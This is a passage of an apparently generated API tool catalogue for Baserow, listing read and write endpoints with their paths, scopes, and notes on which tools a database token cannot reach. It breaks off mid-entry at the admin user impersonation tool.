The template's `workspace_id` can be used for previewing purposes because that workspace contains the applications that are in the template. All the `get` and `list` endpoints related to that workspace are publicly accessible. GET /api/templates/ GET /api/v1/baserow/api/templates/. Scopes: api. baserow_get_api_trash (read) — Get trash structure Responds with the workspaces and applications available for the requesting user to inspect the trash contents of. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/trash/ GET /api/v1/baserow/api/trash/. Scopes: api. baserow_get_api_trash_workspace_by_workspace_id (read) — Workspace get contents Responds with trash contents for a workspace optionally filtered to a specific application. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/trash/workspace/{workspace_id}/ GET /api/v1/baserow/api/trash/workspace/{workspace_id}/. Scopes: api. baserow_get_api_two_factor_auth_configuration (read) — Two factor auth configuration Returns two-factor auth configuration for the authenticated user. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/two-factor-auth/configuration/ GET /api/v1/baserow/api/two-factor-auth/configuration/. Scopes: api. baserow_get_api_user_dashboard (read) — Dashboard Lists all the relevant user information that for example could be shown on a dashboard. It will contain all the pending workspace invitations for that user. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/user/dashboard/ GET /api/v1/baserow/api/user/dashboard/. Scopes: api. baserow_get_api_user_source_by_user_source_uid_sso_oauth2_openid_connect_callback (read) — App auth oidc login callback Processes callback from OAuth2 provider and logs the user in if successful. GET /api/user-source/{user_source_uid}/sso/oauth2/openid_connect/callback/ GET /api/v1/baserow/api/user-source/{user_source_uid}/sso/oauth2/openid_connect/callback/. Scopes: api. baserow_get_api_user_source_by_user_source_uid_sso_oauth2_openid_connect_login (read) — App auth oidc login redirect Redirects to the OAuth2 provider's authentication URL based on the provided user source uid and issuer. GET /api/user-source/{user_source_uid}/sso/oauth2/openid_connect/login/ GET /api/v1/baserow/api/user-source/{user_source_uid}/sso/oauth2/openid_connect/login/. Scopes: api. baserow_get_api_user_source_by_user_source_uid_sso_saml_login (read) — App auth provider saml sp login This is the endpoint that is called when the user wants to initiate a SSO SAML login from Baserow (the service provider). The user will be redirected to the SAML identity provider (IdP) where the user can authenticate. Once logged in in the IdP, the user will be redirected back to the assertion consumer service endpoint (ACS) where the SAML response will be validated and a new JWT session token will be provided to work with Baserow APIs. GET /api/user-source/{user_source_uid}/sso/saml/login/ GET /api/v1/baserow/api/user-source/{user_source_uid}/sso/saml/login/. Scopes: api. baserow_get_api_webhooks_by_webhook_uid (read) — Handle core webhook request get Receives and handles a webhook request. GET /api/webhooks/{webhook_uid}/ GET /api/v1/baserow/api/webhooks/{webhook_uid}/. Scopes: api. baserow_get_api_workspaces (read) — List workspaces Lists all the workspaces of the authorized user. A workspace can contain multiple applications like a database. Multiple users can have access to a workspace. For example each company could have their own workspace containing databases related to that company. The order of the workspaces are custom for each user. The order is configurable via the **order_workspaces** endpoint. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/workspaces/ GET /api/v1/baserow/api/workspaces/. Scopes: api. baserow_get_api_workspaces_by_workspace_id_export (read) — List workspace exports Lists exports that were created for given workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/workspaces/{workspace_id}/export/ GET /api/v1/baserow/api/workspaces/{workspace_id}/export/. Scopes: api. baserow_get_api_workspaces_by_workspace_id_permissions (read) — Workspace permissions Returns a the permission data necessary to determine the permissions of a specific user over a specific workspace. See `core.handler.CoreHandler.get_permissions()` for more details. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/workspaces/{workspace_id}/permissions/ GET /api/v1/baserow/api/workspaces/{workspace_id}/permissions/. Scopes: api. baserow_get_api_workspaces_by_workspace_id_settings_generative_ai (read) — Get workspace generative ai models settings Returns the generative AI models settings for the given workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/workspaces/{workspace_id}/settings/generative-ai/ GET /api/v1/baserow/api/workspaces/{workspace_id}/settings/generative-ai/. Scopes: api. baserow_get_api_workspaces_invitations_by_workspace_invitation_id (read) — Get workspace invitation Returns the requested workspace invitation if the authorized user has admin right to the related workspace NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/workspaces/invitations/{workspace_invitation_id}/ GET /api/v1/baserow/api/workspaces/invitations/{workspace_invitation_id}/. Scopes: api. baserow_get_api_workspaces_invitations_token_by_token (read) — Get workspace invitation by token Responds with the serialized workspace invitation if an invitation with the provided token is found. GET /api/workspaces/invitations/token/{token}/ GET /api/v1/baserow/api/workspaces/invitations/token/{token}/. Scopes: api. baserow_get_api_workspaces_invitations_workspace_by_workspace_id (read) — List workspace invitations Lists all the workspace invitations of the workspace related to the provided `workspace_id` parameter if the authorized user has admin rights to that workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/workspaces/invitations/workspace/{workspace_id}/ GET /api/v1/baserow/api/workspaces/invitations/workspace/{workspace_id}/. Scopes: api. baserow_get_api_workspaces_users_workspace_by_workspace_id (read) — List workspace users Lists all the users that are in a workspace if the authorized user has admin permissions to the related workspace. To add a user to a workspace an invitation must be sent first. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/workspaces/users/workspace/{workspace_id}/ GET /api/v1/baserow/api/workspaces/users/workspace/{workspace_id}/. Scopes: api. baserow_get_assistant_chat (read) — List assistant chats List all AI assistant chats for the current user in the specified workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /assistant/chat/ GET /api/v1/baserow/assistant/chat/. Scopes: api. baserow_get_assistant_chat_by_chat_uuid_cancel (read) — List assistant chat messages (GET /assistant/chat/{chat_uuid}/cancel/) List all messages in the specified AI assistant chat. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /assistant/chat/{chat_uuid}/cancel/ GET /api/v1/baserow/assistant/chat/{chat_uuid}/cancel/. Scopes: api. baserow_get_assistant_chat_by_chat_uuid_messages (read) — List assistant chat messages (GET /assistant/chat/{chat_uuid}/messages/) List all messages in the specified AI assistant chat. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /assistant/chat/{chat_uuid}/messages/ GET /api/v1/baserow/assistant/chat/{chat_uuid}/messages/. Scopes: api. baserow_patch_api_admin_auth_provider_by_auth_provider_id (write) — Update auth provider Updates a new authentication provider. This can be used to enable authentication with a third party service like Google or Facebook. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/admin/auth-provider/{auth_provider_id}/ PATCH /api/v1/baserow/api/admin/auth-provider/{auth_provider_id}/. Scopes: api. baserow_patch_api_admin_data_scanner_scans_by_scan_id (write) — Admin data scanner update scan Updates a data scan configuration. When the scan type, pattern, or list items change, stale results are automatically cleaned up. **Enterprise feature.** NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/admin/data-scanner/scans/{scan_id}/ PATCH /api/v1/baserow/api/admin/data-scanner/scans/{scan_id}/. Scopes: api. baserow_patch_api_admin_users_by_user_id (write) — Admin edit user Updates specified user attributes and returns the updated user if the requesting user is staff. You cannot update yourself to no longer be an admin or active. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/admin/users/{user_id}/ PATCH /api/v1/baserow/api/admin/users/{user_id}/. Scopes: api. baserow_patch_api_ai_providers_by_provider_id (write) — Update ai provider NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/ai-providers/{provider_id}/ PATCH /api/v1/baserow/api/ai-providers/{provider_id}/. Scopes: api. baserow_patch_api_ai_providers_models_by_model_id (write) — Update ai provider model NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/ai-providers/models/{model_id}/ PATCH /api/v1/baserow/api/ai-providers/models/{model_id}/. Scopes: api. baserow_patch_api_applications_by_application_id (write) — Workspace update application Updates the existing application related to the provided `application_id` param if the authorized user is in the application's workspace. It is not possible to change the type, but properties like the name can be changed. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/applications/{application_id}/ PATCH /api/v1/baserow/api/applications/{application_id}/. Scopes: api. baserow_patch_api_automation_node_by_node_id (write) — Update automation node Updates an existing automation node. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/automation/node/{node_id}/ PATCH /api/v1/baserow/api/automation/node/{node_id}/. Scopes: api. baserow_patch_api_automation_workflows_by_workflow_id (write) — Update automation workflow Updates an existing workflow of an automation. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/automation/workflows/{workflow_id}/ PATCH /api/v1/baserow/api/automation/workflows/{workflow_id}/. Scopes: api. baserow_patch_api_builder_by_builder_id_theme (write) — Update builder theme Updates the theme properties for the provided id. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/builder/{builder_id}/theme/ PATCH /api/v1/baserow/api/builder/{builder_id}/theme/. Scopes: api. baserow_patch_api_builder_data_source_by_data_source_id (write) — Update builder page data source Updates an existing builder data_source. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/builder/data-source/{data_source_id}/ PATCH /api/v1/baserow/api/builder/data-source/{data_source_id}/. Scopes: api. baserow_patch_api_builder_data_source_by_data_source_id_move (write) — Move builder page data source Moves the data_source in the page before another data_source or at the end of the page if no before data_source is given. The data_sources must belong to the same page. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/builder/data-source/{data_source_id}/move/ PATCH /api/v1/baserow/api/builder/data-source/{data_source_id}/move/. Scopes: api. baserow_patch_api_builder_domains_by_domain_id (write) — Update builder domain Updates an existing domain of an application builder NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/builder/domains/{domain_id}/ PATCH /api/v1/baserow/api/builder/domains/{domain_id}/. Scopes: api. baserow_patch_api_builder_element_by_element_id (write) — Update builder page element Updates an existing builder element. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/builder/element/{element_id}/ PATCH /api/v1/baserow/api/builder/element/{element_id}/. Scopes: api. baserow_patch_api_builder_element_by_element_id_move (write) — Move builder page element Moves the element in the page before another element or at the end of the page if no before element is given. The elements must belong to the same page. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/builder/element/{element_id}/move/ PATCH /api/v1/baserow/api/builder/element/{element_id}/move/. Scopes: api. baserow_patch_api_builder_pages_by_page_id (write) — Update builder page Updates an existing page of an application builder NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/builder/pages/{page_id}/ PATCH /api/v1/baserow/api/builder/pages/{page_id}/. Scopes: api. baserow_patch_api_builder_workflow_action_by_workflow_action_id (write) — Update builder page workflow action Updates an existing builder workflow action. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/builder/workflow_action/{workflow_action_id}/ PATCH /api/v1/baserow/api/builder/workflow_action/{workflow_action_id}/. Scopes: api. baserow_patch_api_dashboard_data_sources_by_data_source_id (write) — Update dashboard data source Updates an existing dashboard data source. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/dashboard/data-sources/{data_source_id}/ PATCH /api/v1/baserow/api/dashboard/data-sources/{data_source_id}/. Scopes: api. baserow_patch_api_dashboard_widgets_by_widget_id (write) — Update dashboard widget Updates an existing dashboard widget. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/dashboard/widgets/{widget_id}/ PATCH /api/v1/baserow/api/dashboard/widgets/{widget_id}/. Scopes: api. baserow_patch_api_data_sync_by_data_sync_id_periodic_interval (write) — Update periodic data sync interval Updates the periodic data sync interval, if the user has the right permissions. This is an **enterprise** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/data-sync/{data_sync_id}/periodic-interval/ PATCH /api/v1/baserow/api/data-sync/{data_sync_id}/periodic-interval/. Scopes: api. baserow_patch_api_database_admin_views_by_view_id (write) — Admin update database view Updates whether the specified view is publicly shared, if the requesting user is staff. This works even if the requesting user is not a member of the workspace the view belongs to, and can for example be used to unshare a publicly shared view that's being abused. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/database/admin/views/{view_id}/ PATCH /api/v1/baserow/api/database/admin/views/{view_id}/. Scopes: api. baserow_patch_api_database_data_sync_by_data_sync_id (write) — Update table data sync Updates the properties of the provided data sync, if the user has the right permissions. Note that if the `synced_properties` is not provided, the available properties change, then the unavailable ones will automatically be removed. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/database/data-sync/{data_sync_id}/ PATCH /api/v1/baserow/api/database/data-sync/{data_sync_id}/. Scopes: api. baserow_patch_api_database_fields_by_field_id (write) — Update database table field Updates the existing field if the authorized user has access to the related database's workspace. The type can also be changed and depending on that type, different additional properties can optionally be set. If you change the field type it could happen that the data conversion fails, in that case the `ERROR_CANNOT_CHANGE_FIELD_TYPE` is returned, but this rarely happens. If a data value cannot be converted it is set to `null` so data might go lost.If updated the field causes other fields to change then the specificinstances of those fields will be included in the related fields response key. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/database/fields/{field_id}/ PATCH /api/v1/baserow/api/database/fields/{field_id}/. Scopes: api. baserow_patch_api_database_rows_table_by_table_id_batch (write) — Batch update database table rows Updates existing rows in the table if the user has access to the related table's workspace. The accepted body fields are depending on the fields that the table has. For a complete overview of fields use the **list_database_table_fields** endpoint to list them all. None of the fields are required, if they are not provided the value is not going to be updated. When you want to update a value for the field with id `10`, the key must be named `field_10`. Or if the GET parameter `user_field_names` is provided the key of the field to update must be the name of the field. Multiple different fields to update can be provided for each row. In the examples below you will find all the different field types, the numbers/ids in the example are just there for example purposes, the field_ID must be replaced with the actual id of the field or the name of the field if `user_field_names` is provided. **WARNING:** This endpoint doesn't yet work with row updated webhooks. PATCH /api/database/rows/table/{table_id}/batch/ PATCH /api/v1/baserow/api/database/rows/table/{table_id}/batch/. Scopes: update. baserow_patch_api_database_rows_table_by_table_id_by_row_id (write) — Update database table row Updates an existing row in the table if the user has access to the related table's workspace. The accepted body fields are depending on the fields that the table has. For a complete overview of fields use the **list_database_table_fields** endpoint to list them all. None of the fields are required, if they are not provided the value is not going to be updated. When you want to update a value for the field with id `10`, the key must be named `field_10`. Or if the GET parameter `user_field_names` is provided the key of the field to update must be the name of the field. Multiple different fields to update can be provided in one request. In the examples below you will find all the different field types, the numbers/ids in the example are just there for example purposes, the field_ID must be replaced with the actual id of the field or the name of the field if `user_field_names` is provided. PATCH /api/database/rows/table/{table_id}/{row_id}/ PATCH /api/v1/baserow/api/database/rows/table/{table_id}/{row_id}/. Scopes: update. baserow_patch_api_database_rows_table_by_table_id_by_row_id_move (write) — Move database table row Moves the row related to given `row_id` parameter to another position. It is only possible to move the row before another existing row or to the end. If the `before_id` is provided then the row related to the `row_id` parameter is moved before that row. If the `before_id` parameter is not provided, then the row will be moved to the end. PATCH /api/database/rows/table/{table_id}/{row_id}/move/ PATCH /api/v1/baserow/api/database/rows/table/{table_id}/{row_id}/move/. Scopes: update. baserow_patch_api_database_tables_by_table_id (write) — Update database table Updates the existing table if the authorized user has access to the related database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/database/tables/{table_id}/ PATCH /api/v1/baserow/api/database/tables/{table_id}/. Scopes: api. baserow_patch_api_database_tokens_by_token_id (write) — Update database token Updates the existing database token if it is owned by the authorized user and ifthe user has access to the related workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/database/tokens/{token_id}/ PATCH /api/v1/baserow/api/database/tokens/{token_id}/. Scopes: api. baserow_patch_api_database_view_by_view_id_premium (write) — Premium view attributes update Sets view attributes only available for premium users. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/database/view/{view_id}/premium PATCH /api/v1/baserow/api/database/view/{view_id}/premium. Scopes: api. baserow_patch_api_database_views_by_view_id (write) — Update database table view Updates the existing view. The type cannot be changed. It depends on the existing type which properties can be changed. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/database/views/{view_id}/ PATCH /api/v1/baserow/api/database/views/{view_id}/. Scopes: api. baserow_patch_api_database_views_by_view_id_default_values (write) — Update view default values Updates the default row values for the specified view. Accepts a list of default value objects, each specifying the field, whether the default is enabled, an optional raw value, and an optional function name (e.g. 'now') for dynamic defaults. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/database/views/{view_id}/default-values/ PATCH /api/v1/baserow/api/database/views/{view_id}/default-values/. Scopes: api. baserow_patch_api_database_views_by_view_id_field_options (write) — Update database table view field options Updates the field options of a view. The field options differ per field type This could for example be used to update the field width of a `grid` view if the user changes it. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/database/views/{view_id}/field-options/ PATCH /api/v1/baserow/api/database/views/{view_id}/field-options/. Scopes: api. baserow_patch_api_database_views_decoration_by_view_decoration_id (write) — Update database table view decoration Updates the existing decoration if the authorized user has access to the related database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/database/views/decoration/{view_decoration_id}/ PATCH /api/v1/baserow/api/database/views/decoration/{view_decoration_id}/. Scopes: api. baserow_patch_api_database_views_filter_by_view_filter_id (write) — Update database table view filter Updates the existing filter. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/database/views/filter/{view_filter_id}/ PATCH /api/v1/baserow/api/database/views/filter/{view_filter_id}/. Scopes: api. baserow_patch_api_database_views_filter_group_by_view_filter_group_id (write) — Update database table view filter group Updates the existing filter group with the given `view_filter_group_id`. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/database/views/filter-group/{view_filter_group_id}/ PATCH /api/v1/baserow/api/database/views/filter-group/{view_filter_group_id}/. Scopes: api. baserow_patch_api_database_views_form_by_slug_edit_row_by_row_token (write) — Update edit row database table form view Updates the row identified by the edit token using the submitted field values. Only fields that are visible in the form view can be changed. The `row_token` must be a valid signed token generated by a form_view_edit_row field. PATCH /api/database/views/form/{slug}/edit-row/{row_token}/ PATCH /api/v1/baserow/api/database/views/form/{slug}/edit-row/{row_token}/. Scopes: api. baserow_patch_api_database_views_group_by_by_view_group_by_id (write) — Update database table view group Updates the existing group by if the authorized user has access to the related database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/database/views/group_by/{view_group_by_id}/ PATCH /api/v1/baserow/api/database/views/group_by/{view_group_by_id}/. Scopes: api. baserow_patch_api_database_views_sort_by_view_sort_id (write) — Update database table view sort Updates the existing sort if the authorized user has access to the related database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/database/views/sort/{view_sort_id}/ PATCH /api/v1/baserow/api/database/views/sort/{view_sort_id}/. Scopes: api. baserow_patch_api_database_webhooks_by_webhook_id (write) — Update database table webhook Updates the existing view if the authorized user has access to the related database workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/database/webhooks/{webhook_id}/ PATCH /api/v1/baserow/api/database/webhooks/{webhook_id}/. Scopes: api. baserow_patch_api_database_workflow_action_by_workflow_action_id (write) — Update database field workflow action Updates an existing database workflow action. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/database/workflow_action/{workflow_action_id}/ PATCH /api/v1/baserow/api/database/workflow_action/{workflow_action_id}/. Scopes: api. baserow_patch_api_field_permissions_by_field_id (write) — Update field permissions Update permissions for writing field values and form visibility for a specific field. This endpoint is used to restrict the ability to modify field values to the roles defined. It also makes it possible to decide if the field can be exposed in forms or not. This is a **enterprise** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/field-permissions/{field_id}/ PATCH /api/v1/baserow/api/field-permissions/{field_id}/. Scopes: api. baserow_patch_api_integration_by_integration_id (write) — Update application integration Updates an existing integration. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/integration/{integration_id}/ PATCH /api/v1/baserow/api/integration/{integration_id}/. Scopes: api. baserow_patch_api_integration_by_integration_id_move (write) — Move application integration Moves the integration in the application before another integration or at the end of the application if no before integration is given. The integrations must belong to the same application. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/integration/{integration_id}/move/ PATCH /api/v1/baserow/api/integration/{integration_id}/move/. Scopes: api. baserow_patch_api_mcp_endpoint_by_endpoint_id (write) — Update mcp endpoint Updates the MCP endpoint if the authorized user has access to it. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/mcp/endpoint/{endpoint_id}/ PATCH /api/v1/baserow/api/mcp/endpoint/{endpoint_id}/. Scopes: api. baserow_patch_api_notifications_by_workspace_id_by_notification_id (write) — Mark notification as read Marks a notification as read. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/notifications/{workspace_id}/{notification_id}/ PATCH /api/v1/baserow/api/notifications/{workspace_id}/{notification_id}/. Scopes: api. baserow_patch_api_row_comments_by_table_id_comment_by_comment_id (write) — Update row comment Update a row comment. This is a **premium** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/row_comments/{table_id}/comment/{comment_id}/ PATCH /api/v1/baserow/api/row_comments/{table_id}/comment/{comment_id}/. Scopes: api. baserow_patch_api_settings_update (write) — Update settings Updates the admin configured settings if the user has admin permissions. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/settings/update/ PATCH /api/v1/baserow/api/settings/update/. Scopes: api. baserow_patch_api_trash_restore (write) — Restore Restores the specified trashed item back into baserow. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/trash/restore/ PATCH /api/v1/baserow/api/trash/restore/. Scopes: api. baserow_patch_api_user_account (write) — Update account Updates the account information of the authenticated user. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/user/account/ PATCH /api/v1/baserow/api/user/account/. Scopes: api. baserow_patch_api_user_redo (write) — Redo Redoes the latest redoable action performed by the user making the request. a ClientSessionId header must be provided and only actions which were performed the same user with the same ClientSessionId value set on the api request that performed the action will be redone.Additionally the ClientSessionId header must be between 1 and 256 characters long and must only contain alphanumeric or the - characters. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/user/redo/ PATCH /api/v1/baserow/api/user/redo/. Scopes: api. baserow_patch_api_user_source_by_user_source_id (write) — Update application user source Updates an existing user_source. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/user-source/{user_source_id}/ PATCH /api/v1/baserow/api/user-source/{user_source_id}/. Scopes: api. baserow_patch_api_user_source_by_user_source_id_move (write) — Move application user source Moves the user_source in the application before another user_source or at the end of the application if no before user_source is given. The user_sources must belong to the same application. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/user-source/{user_source_id}/move/ PATCH /api/v1/baserow/api/user-source/{user_source_id}/move/. Scopes: api. baserow_patch_api_user_undo (write) — Undo undoes the latest undoable action performed by the user making the request. a ClientSessionId header must be provided and only actions which were performed the same user with the same ClientSessionId value set on the api request that performed the action will be undone.Additionally the ClientSessionId header must be between 1 and 256 characters long and must only contain alphanumeric or the - characters. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/user/undo/ PATCH /api/v1/baserow/api/user/undo/. Scopes: api. baserow_patch_api_webhooks_by_webhook_uid (write) — Handle core webhook request patch Receives and handles a webhook request. PATCH /api/webhooks/{webhook_uid}/ PATCH /api/v1/baserow/api/webhooks/{webhook_uid}/. Scopes: api. baserow_patch_api_workspaces_by_workspace_id (write) — Update workspace Updates the existing workspace related to the provided `workspace_id` parameter if the authorized user belongs to the workspace. It is not yet possible to add additional users to a workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/workspaces/{workspace_id}/ PATCH /api/v1/baserow/api/workspaces/{workspace_id}/. Scopes: api. baserow_patch_api_workspaces_by_workspace_id_settings_generative_ai (write) — Update workspace generative ai models settings Updates the generative AI models settings for the given workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/workspaces/{workspace_id}/settings/generative-ai/ PATCH /api/v1/baserow/api/workspaces/{workspace_id}/settings/generative-ai/. Scopes: api. baserow_patch_api_workspaces_invitations_by_workspace_invitation_id (write) — Update workspace invitation Updates the existing workspace invitation related to the provided `workspace_invitation_id` param if the authorized user has admin rights to the related workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/workspaces/invitations/{workspace_invitation_id}/ PATCH /api/v1/baserow/api/workspaces/invitations/{workspace_invitation_id}/. Scopes: api. baserow_patch_api_workspaces_users_by_workspace_user_id (write) — Update workspace user Updates the existing workspace user related to the provided `workspace_user_id` param if the authorized user has admin rights to the related workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PATCH /api/workspaces/users/{workspace_user_id}/ PATCH /api/v1/baserow/api/workspaces/users/{workspace_user_id}/. Scopes: api. baserow_post_api_abuse_reports (write) — Create abuse report Reports a publicly shared resource, like a shared view or form, for abuse. This endpoint can be called by anonymous visitors. POST /api/abuse-reports/ POST /api/v1/baserow/api/abuse-reports/. Scopes: api. baserow_post_api_admin_audit_log_export (write) — Async audit log export (POST /api/admin/audit-log/export/) Creates a job to export the filtered audit log to a CSV file. This is a **enterprise** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/admin/audit-log/export/ POST /api/v1/baserow/api/admin/audit-log/export/. Scopes: api. baserow_post_api_admin_auth_provider (write) — Create auth provider Creates a new authentication provider. This can be used to enable authentication with a third party service like Google or Facebook. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/admin/auth-provider/ POST /api/v1/baserow/api/admin/auth-provider/. Scopes: api. baserow_post_api_admin_data_scanner_results_export (write) — Admin data scanner export results Creates a job to export data scan results to CSV. The exported file includes scan name, workspace, database, table, field, row ID, matched value, and timestamps for each result. **Enterprise feature.** NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/admin/data-scanner/results/export/ POST /api/v1/baserow/api/admin/data-scanner/results/export/. Scopes: api. baserow_post_api_admin_data_scanner_scans (write) — Admin data scanner create scan Creates a new data scan. A data scan searches the Baserow instance for sensitive data matching a pattern (e.g. credit card numbers), a list of uploaded values, or values sourced from another Baserow table. **Enterprise feature.** NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/admin/data-scanner/scans/ POST /api/v1/baserow/api/admin/data-scanner/scans/. Scopes: api. baserow_post_api_admin_data_scanner_scans_by_scan_id_trigger (write) — Admin data scanner trigger scan Triggers an immediate run of the given data scan. The scan executes asynchronously and searches the configured workspaces for matches. **Enterprise feature.** NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/admin/data-scanner/scans/{scan_id}/trigger/ POST /api/v1/baserow/api/admin/data-scanner/scans/{scan_id}/trigger/. Scopes: api. baserow_post_api_admin_users (write) — Admin create user Creates and returns a new user if the requesting user is staff. This works even if new signups are disabled. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/admin/users/ POST /api/v1/baserow/api/admin/users/. Scopes: api. baserow_post_api_admin_users_impersonate (write) — 